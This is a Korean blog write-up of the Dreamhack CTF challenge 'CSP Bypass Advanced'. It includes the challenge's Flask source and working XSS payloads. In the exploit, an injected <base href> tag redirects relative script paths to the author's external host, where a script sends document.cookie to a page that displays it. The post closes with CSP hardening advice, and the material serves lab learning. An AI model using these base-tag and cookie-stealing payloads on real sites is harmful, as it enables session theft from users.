๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]WebHacking/๋กœ๋“œ๋งต_ClientSide

[Dreamhack] Level3: CSP Bypass Advanced

by Yun2๐Ÿ‘ 2024. 1. 17.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธAccess

Exercise: CSP Bypass์˜ ํŒจ์น˜๋œ ๋ฌธ์ œ์ด๋‹ค.

 

 

๐Ÿ‘พExploit Algorithm & Payload

๋”๋ณด๊ธฐ
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

@app.route("/")
def index():
    return render_template("index.html", nonce=nonce)


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", param=param, nonce=nonce)


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)


app.run(host="0.0.0.0", port=8000)

 

 

#1


: '/' ๊ธฐ๋ณธ ํŽ˜์ด์ง€

 

: '/vuln' ํŽ˜์ด์ง€์—๋Š” ์ž…๋ ฅํ•œ ํŒŒ๋ผ๋ฏธํ„ฐ์˜ ๊ฐ’์ด ํ™”๋ฉด์— ์ถœ๋ ฅ๋จ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. (/vuln?param=)

http://host3.dreamhack.games:12309/vuln?param=<img src=https://dreamhack.io/assets/img/logo.0a8aabe.svg>

 

: '/memo' ํŽ˜์ด์ง€์—๋Š” ์ž…๋ ฅํ•œ ํŒŒ๋ผ๋ฏธํ„ฐ์˜ ๊ฐ’์ด ํ™”๋ฉด์— ์ถœ๋ ฅ๋จ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. (/memo?memo=)

: ๋‹จ, ๊ทธ๋Œ€๋กœ ํ™”๋ฉด์ด ์ถœ๋ ฅ๋จ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

http://host3.dreamhack.games:12309/memo?memo=hello

 

: '/flag' ํŽ˜์ด์ง€์—๋Š” ์ „๋‹ฌ๋œ URL์— ์ž„์˜ ์ด์šฉ์ž๊ฐ€ ์ ‘์†ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜์–ด์žˆ๋‹ค.
(ํ•ด๋‹น ์ด์šฉ์ž์˜ ์ฟ ํ‚ค์—์„œ flag ํš๋“์ด ๊ฐ€๋Šฅํ•  ๊ฒƒ์œผ๋กœ ๋ณด์ž„)

 

 

#2


http://host3.dreamhack.games:12309/vuln?param=<script>alert(document.cookie);</script>

: '/vuln' ํŽ˜์ด์ง€์—์„œ script๋ฌธ์„ ์‚ฌ์šฉํ•˜์—ฌ F12 [๊ฐœ๋ฐœ์ž ๋„๊ตฌ]๋กœ ๋ฐ˜์‘์„ ํ™•์ธํ•˜์˜€๋”๋‹ˆ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

: CSP๊ฐ€ ์ ์šฉ๋œ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

> script-src 'self' 'nonce-{nonce}’

: ์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ ๊ด€๋ จ ๊ถŒํ•œ๊ณผ ์ถœ์ฒ˜๋ฅผ ์ œ์–ด, ํŽ˜์ด์ง€์˜ ํ˜„์žฌ ์ถœ์ฒ˜ ๋‚ด์—์„œ ๋กœ๋“œํ•˜๋Š” ๋ฆฌ์†Œ์Šค๋งŒ ํ—ˆ์šฉ, nonce ์†์„ฑ์„ ์„ค์ •ํ•˜์—ฌ ์˜ˆ์™ธ์  ์ธ๋ผ์ธ ์ฝ”๋“œ ์‚ฌ์šฉ ๊ฐ€๋Šฅ

 

> 'unsafe-inline’

:์˜ˆ์™ธ์ ์œผ๋กœ ์ธ๋ผ์ธ ์ฝ”๋“œ์˜ ์‚ฌ์šฉ ํ—ˆ์šฉ

 

: ๋”ฐ๋ผ์„œ ์Šคํฌ๋ฆฝํŠธ๋ฌธ์„ ์ธ๋ผ์ธ ํ˜•ํƒœ๋กœ ์ ์šฉํ•˜์—ฌ ์ž‘์„ฑํ•˜๊ณ ์ž ์‹œ๋„ํ–ˆ๋‹ค.

 

 

#3


http://host3.dreamhack.games:12309/vuln?param=<script src = 'vuln?param=alert(document.cookie);'><script>

: ‘<’(๊บฝ์‡ ) token์ด ๋จนํžˆ์ง€ ์•Š๋Š” ๊ฒƒ์„ ํ™•์ธ ํ•  ์ˆ˜ ์žˆ๋‹ค.

 

: ๊ตฌ์กฐ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

 

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return render_template("vuln.html", param=param, nonce=nonce)

: ๋ฌธ์ œ ์ฝ”๋“œ ํ•ด์„ ๋ถ€๋ถ„์„ ์‚ดํ”ผ๋ฉด vuln.html์„ ๋ Œ๋”๋งํ•ด์„œ ๋ฆฌํ„ดํ•˜๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋Š”๋ฐ, ์—ฌ๊ธฐ์„œ base-uri 'none' (base ํƒœ๊ทธ URI ์ œํ•œ) ์ •์ฑ…์ด ์—†๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

: ๋”ฐ๋ผ์„œ ์ƒ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” URL๋“ค์ด ๋ณธ๋ž˜ ์˜๋„ํ•œ ์œ„์น˜๊ฐ€ ์•„๋‹Œ ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„์— ์ž์›์„ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋˜์–ด ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ํ†ตํ•ด ์ž„์˜์˜ ์Šคํฌ๋ฆฝํŠธ ๋“ฑ์„ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋จ

----------------------------------------------------------

| baseํƒœ๊ทธ: ๋žœ๋”๋ง ๋ถ€๋ถ„(๋ฌธ์„œ)์˜ ๊ฒฝ๋กœ๋ฅผ ์›ํ•˜๋Š” ๊ณณ์œผ๋กœ ์ง€์ •ํ•˜์—ฌ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์Œ

 

 

#4


// ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„์— ์ž์›์„ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋˜๋Š” ์œ„์น˜๋ผ ๊ฐ€์ •
https://gituseryun.github.io/Dremhack_Exploit/csp_bypass_advanced.html

http://host3.dreamhack.games:12309/vuln?param=<base href="https://gituseryun.github.io/Dremhack_Exploit/csp_bypass_advanced.html">

 

: ๋”ฐ๋ผ์„œ ๊ฐœ์ธ ์„œ๋ฒ„์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ์›น ์‚ฌ์ดํŠธ๋ฅผ ์˜ฌ๋ฆฌ๊ณ  ๋ฐ˜์‘์„ ํ™•์ธํ–ˆ๋‹ค.

: ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ž‘์„ฑํ•œ ๊ณต๊ฒฉ์ž ์„œ๋ฒ„ ์ž์›์„ ๊ฐ€๋ฅดํ‚ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

: ์ด๊ฒƒ์„ ์ด์šฉํ•˜๋ฉด '/memo' ํŽ˜์ด์ง€์—์„œ ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„ ๊ฒฐ๊ณผ๋ฅผ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ๊ฒ ๋‹ค ํŒ๋‹จ๋๋‹ค.

 

 

#5


// ํ˜„์žฌ ์ƒ๋Œ€๊ฒฝ๋กœ
/static/js/jquery.min.js
/static/js/bootstrap.min.js

// exploit code
location.href = "http://127.0.0.1:8000/memo?memo="+document.cookie

: ์ƒ๋Œ€ ๊ฒฝ๋กœ์ž„์„ ํ™•์ธํ–ˆ๋˜ ๊ณณ์˜ ์œ„์น˜์˜ ํด๋”๋ฅผ ์ƒ์„ฑํ•˜๊ณ  ์ฟ ํ‚ค๊ฐ’์„ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•œ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค.

 

<base href=”https://gituseryun.github.io/static/js/jquery.min.js”>

 

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


 

 

 

๐Ÿ“ŒSummary


 ์ปจํ…์ธ  ๋ณด์•ˆ ์ •์ฑ…(CSP; Content Wecurity Policy)์€ XSS ๊ณต๊ฒฉ์œผ๋กœ๋ถ€ํ„ฐ ํ”ผํ•ด๋ฅผ ์ตœ์†Œํ™”ํ•  ์ˆ˜ ์žˆ๋Š” ์ข‹์€ ๋ฐฉ์•ˆ์ด๋‚˜ XSS ๊ณต๊ฒฉ์„ ์™„์ „ ๋ฌด๋ ฅํ™” ํ•˜๋Š” ์ˆ˜๋‹จ์€ ์•„๋‹ˆ๊ธฐ ๋•Œ๋ฌธ์— ์ž˜๋ชป ์‚ฌ์šฉ ๋ฐ ์šฐํšŒ๊ฐ€ ํ—ˆ์šฉ๋  ์‹œ ๋ณด์•ˆ ํ•ด๊ฒฐ์ฑ…์œผ๋กœ์จ ์—ญํ• ์ด ๋ถˆ๊ฐ€ํ•˜๊ฒŒ ๋จ

 

- CSP(Content Security Policy, ์ปจํ…์ธ  ๋ณด์•ˆ ์ •์ฑ…)๊ด€๋ จ ์ž๋ฃŒ

https://yun-2.tistory.com/entry/CSP-Bypass

 

 - base-uri ๋ฏธ์ง€์ •

: HTML ํ•˜์ดํผ๋งํฌ์—์„œ ํ˜ธ์ŠคํŠธ ์ฃผ์†Œ ์—†์ด ๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•˜๋ฉด ๋ธŒ๋ผ์šฐ์ €๋Š” ํ˜„์žฌ ๋ฌธ์„œ๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์ฃผ์†Œ๋ฅผ ํ•ด์„

: ๊ณต๊ฒฉ์ž๊ฐ€ '<base href="">'์™€ ๊ฐ™์€ ๋งˆํฌ์—…์„ ์‚ฝ์ž…ํ•˜๊ฒŒ ๋œ๋‹ค๋ฉด, ์ถ”ํ›„ ์ƒ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” URL๋“ค์€ ๋ณธ๋ž˜ ์˜๋„ํ•œ ์œ„์น˜๊ฐ€ ์•„๋‹Œ ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„์— ์ž์›์„ ๊ฐ€๋ฆฌํ‚ค๊ฒŒ ๋˜์–ด ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ํ†ตํ•ด ์ž„์˜์˜ ์Šคํฌ๋ฆฝํŠธ ๋“ฑ์„ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋จ

// base ํƒœ๊ทธ์˜ URL ์ œํ•œ
base-uri 'none’

// base ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•œ ์ž„์˜ ์ž์› ์—…๋กœ๋“œ (base-uri CSP ๊ตฌ๋ฌธ์ด ์ง€์ •๋˜์ง€ ์•Š์€ ๊ฒฝ์šฐ)
// jquery.js๋Š” base ํƒœ๊ทธ์— ์˜ํ•ด ํ•ด๋‹น URL์„ ๊ฐ€๋ฆฌํ‚ด
<base href="">
<script src="/jquery.js" nonce=NONCE>

 

- ๋Œ€์‘๋ฐฉ์•ˆ -

- ์ •ํ™•ํ•œ CSP ์„ค์ •

- 'base-uri ์ง€์ •'

- ์ •์ฑ… ๊ฐ•ํ™”
(๊ฐ€๋Šฅํ•œ ๊ฒฝ์šฐ 'default-src'๋กœ ์„ค์ • ํ›„, ํ•„์š”ํ•œ ์Šคํฌ๋ฆฝํŠธ๋‚˜ ์Šคํƒ€์ผ ์‹œํŠธ์— ๋Œ€ํ•ด์„œ๋งŒ 'script-src', 'style-src'๋“ฑ์„ ์ง€์ •ํ•˜๋Š” ๋ฐฉ๋ฒ•์ด ๊ฐ•๋ ฅ)

...

 

 

๋ฐ˜์‘ํ˜•

'[Dreamhack]WebHacking > ๋กœ๋“œ๋งต_ClientSide' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level2: CSP Bypass  (0) 2023.11.18
[Dreamhack] Level3: XSS Filtering Bypass Advanced  (0) 2023.09.02
[Dreamhack] Level1: XSS Filtering Bypass  (0) 2023.08.28